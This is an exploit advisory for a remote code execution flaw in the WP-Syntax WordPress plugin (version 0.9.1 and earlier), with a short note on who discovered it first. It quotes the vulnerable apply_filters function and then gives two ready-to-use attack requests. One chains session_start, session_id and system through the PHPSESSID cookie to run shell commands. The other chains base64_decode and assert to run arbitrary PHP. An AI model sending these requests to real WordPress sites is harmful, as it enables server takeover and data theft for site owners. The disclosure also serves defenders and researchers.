====================================================================== Wordpress plugin WP-Syntax <= 0.9.1 Remote Code Execution ====================================================================== This vulnerability was originally discovered by Raz0r on 26.12.2008, a user of forum.antichat.ru, and was kept private until it was found out that information had leaked and a person called Inj3ct0r published it on milw0rm claiming himself as the author of this vulnerability. His actions deserve no respect and thanks to str0ke a little bit of justice is obtained. See original topic at: https://forum.antichat.ru/showthread.php?t=98119 ====================================================================== WP-Syntax has a directly accessible script that tests capabilities of the plugin. Vulnerable code at test/index.php@132-150: ... function apply_filters($tag, $string) { global $test_filter; if (!isset($test_filter[$tag])) return $string; uksort($test_filter[$tag], "strnatcasecmp"); foreach ($test_filter[$tag] as $priority => $functions) { if (is_null($functions)) continue; foreach($functions as $function) { $string = call_user_func_array($function, array($string)); } } return $string; } ... Global variable test_filter is not defined, so register_globals = on makes it possible to pass arbitrary value into the first parameter of call_user_func_array(). Considering the fact that this function is called in a loop and the returned value is assinged to the second parameter on every iteration, it is obvious that user function can be called with a single parameter containing arbitrary data that can come from the environment, e.g. session id. There are several valid sequences of function calls that let execute any code. ==============================[1]===================================== GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0 Host: localhost Cookie: PHPSESSID=dir Connection: close Initially session_start() is called, then the return value of session_id() that contains command to execute passes to system(). ==============================[2]===================================== /wp-content/index.php?test_filter[wp_head][99][]=session_start&test_filter[wp_head][99][0]=session_id&test_filter[wp_head][99][1]=base64_decode&test_filter[wp_head][99][2]=assert&q=phpinfo();exit; This vector was found by ShAnKaR and improves the previous one by using base64-encoded payload that broadens the char range that can be passed to the next function. Besides, assert() successfully executes arbitrary code being called in call_user_func_array() while the usage of eval() in this function is not possible. ====================================================================== forum.antichat.ru, raz0r.name